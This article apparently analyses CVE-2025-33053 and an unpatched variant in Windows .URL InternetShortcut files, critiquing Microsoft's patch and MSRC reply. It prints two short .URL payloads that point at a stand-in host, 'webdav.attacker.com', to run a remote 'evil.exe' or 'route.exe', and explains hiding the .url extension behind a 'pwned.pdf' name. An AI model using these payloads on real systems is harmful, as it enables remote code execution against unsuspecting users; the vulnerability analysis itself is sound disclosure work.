CVE-2025-33053 was the WorkingDirectory variant
.URL files are INI-format text files Windows shell registers under the InternetShortcut handler. The format has two directives that matter for this story. URL= names the target the shell should open. WorkingDirectory= names the working directory the shell should set on the launched process.
The June 2025 patch addresses the second directive. Public analysis (Check Point, who discovered the in-the-wild use against a Turkish defense organization in March 2025) describes a chain that begins with a downloaded .URL file pointing at a Windows-resident LOLBin, iediagcmd.exe, with a WorkingDirectory pointing at an attacker-controlled WebDAV share:
[InternetShortcut]
URL=C:\Windows\System32\iediagcmd.exe
WorkingDirectory=\\webdav.attacker.com@SSL\DavWWWRoot\
iediagcmd.exe is a .NET process. It calls Process.Start("route.exe") internally as part of its diagnostic routine. Process.Start resolves the bare filename through the application's process search order, which looks at the current working directory before reaching System32. The current working directory has been set to the WebDAV share by the .URL file. The attacker drops a route.exe on that share. iediagcmd.exe runs the attacker's route.exe.
Microsoft's patch does what Dormann's post describes it doing: the shell ignores the WorkingDirectory= directive when it launches an executable. The chain above no longer works.
URL= is unchanged.
The URL= line is what .URL files do
A .URL file does not have to redirect to a LOLBin. The URL= directive can name any URI the shell handler resolves. UNC paths are URIs. WebDAV servers are addressable as UNC paths.
[InternetShortcut]
URL=\\webdav.attacker.com@SSL\DavWWWRoot\evil.exe
A user who double-clicks this .URL does not need a LOLBin in the chain. The shell follows URL= to the WebDAV share, the WebDAV server returns evil.exe, and Windows launches evil.exe. The trigger is the same as CVE-2025-33053. The impact is the same. The WorkingDirectory= directive is not present.
This is the variant Dormann reported. Microsoft confirmed the behavior and declined to issue a CVE. Dormann's post quotes the MSRC reply:
When the Shell invokes an app from a remote share, it's expected that you will see the legacy Windows Security prompt, not the SmartScreen one. SmartScreen Application Reputation (AppRep) evaluation applies to locally downloaded files that bear an Internet Zone mark of the web. It is not meant to apply to execution of files from Network Shares.
Read the trust boundaries that statement describes. The .URL file is the local file. The .URL file was downloaded from the internet and carries Mark of the Web on its NTFS Zone.Identifier ADS. SmartScreen Application Reputation does not run on the .URL file at double-click time, because Windows treats InternetShortcut files as non-executable shortcuts, not as code. The remote binary the .URL redirects to does not carry Mark of the Web, because the remote binary was never downloaded; it is fetched and executed in place over SMB or WebDAV. Windows treats that as a network-share execution. The legacy "Open File - Security Warning" dialog fires. SmartScreen does not.
The recording Dormann published is on a Windows 11 host with no internet. SmartScreen literally cannot reach back. The "Do you want to open this file?" dialog is the entire security boundary the system intends to draw. Per MSRC's reply, it is also the entire security boundary the system intends to draw on a host that does have internet.
What the user actually sees
The recording's pwned.pdf is a .URL file. It displays without the .url extension because Windows hides extensions for InternetShortcut by default. The NeverShowExt value under HKCU\InternetShortcut (mirroring the system-wide handler default under HKCR) is the registry knob. Users who toggle the global "Show file extensions" setting in Explorer do not toggle this one; the per-handler default wins.
The dialog after the double-click is the legacy Open File - Security Warning prompt:
Do you want to open this file?
Name: pwned_pdf_url
Type: Unknown File Type
[Open] [Cancel]
The displayed name is pwned_pdf_url because the dialog stringifies the path with dots replaced. The type is Unknown File Type because the shell is asking about the resource the .URL resolves to, not about the .URL itself, and the resource at the WebDAV path does not match a registered extension the shell wants to label. The dialog does not name the binary that will execute. The dialog does not name the WebDAV server. The dialog does not state that the file is hosted off-machine. The dialog does not state that a .URL file downloaded from the internet just redirected the shell to a remote share.
This is the prompt Microsoft's stated position treats as the user's defense.
The documentation update is the testimony
Microsoft's developer documentation for InternetShortcut said, until Dormann's correspondence:
When the user clicks the icon, the browser is launched and displays the site associated with the shortcut.
After the correspondence, the current page reads:
When the user clicks the icon, the URL path is opened by the handler application, typically the user's default web browser.
The change is from "the browser is launched" to "the handler application, typically the browser." The new wording admits the handler is not always the browser. The new wording admits the URL path is not always a website. The new wording is the documentation team conceding that .URL files redirect to whatever the URL line names, including UNC paths, including WebDAV, including binaries the shell will launch through the legacy Open File prompt.
The page's first sentence still says "The Internet shortcut object is used to create desktop shortcuts to Internet sites." An "Internet site" in plain reading is a web page. In the second sentence's reading, an "Internet site" is anywhere a URI handler can reach. Dormann notes the residual misdirection in his post, dryly: an Internet site is a web page, right.
The CVE record covers an update to the shell's WorkingDirectory handling. The documentation update covers the wording that described what .URL files do. Both are admissions the original behavior was unsafe to assume safe. Only one of them is a CVE.
The unpatchable half
Closing the WorkingDirectory directive cost Microsoft nothing semantic. WorkingDirectory was a helper, present for the rare InternetShortcut that wanted to set a launcher's working directory; the field's documented use is uncommon. Removing its effect on executable launches breaks a corner of the format almost nobody used.
Closing the URL= directive's ability to name a UNC path or a WebDAV URL would close the file format. The URL= line is what .URL files are. A .URL whose URL= cannot resolve to a remote handler-resolvable URI is not a .URL. The MSRC reply names this without naming it. "When the Shell invokes an app from a remote share, it's expected." The expected behavior is the primitive.
The pattern is unpatchable-primitive. The bug class is what the component does. The patch closes the variant Microsoft can update without breaking the format. The variant the format requires receives a documentation edit instead.
The pattern is also denial-by-pedantry. MSRC's reply parses "SmartScreen" against its own narrow scope (locally downloaded files bearing Mark of the Web) and then notes that an executable accessed over a network share does not satisfy that scope. The natural customer reading is that a file downloaded from the internet, double-clicked from the desktop, should be screened before it executes code on the user's behalf. Both statements are true within their own definitions. The customer's reading does not survive the vendor's. The audit-facing answer is "this is by design." The user-facing dialog is Type: Unknown File Type.
CVE-2025-33053 is on CISA's Known Exploited Vulnerabilities catalog. Stealth Falcon's in-the-wild file (VirusTotal) used the WorkingDirectory chain. The file Dormann references for the URL= variant is also in the wild. One of them has a CVE. The other has a documentation update.
PoC: @[email protected]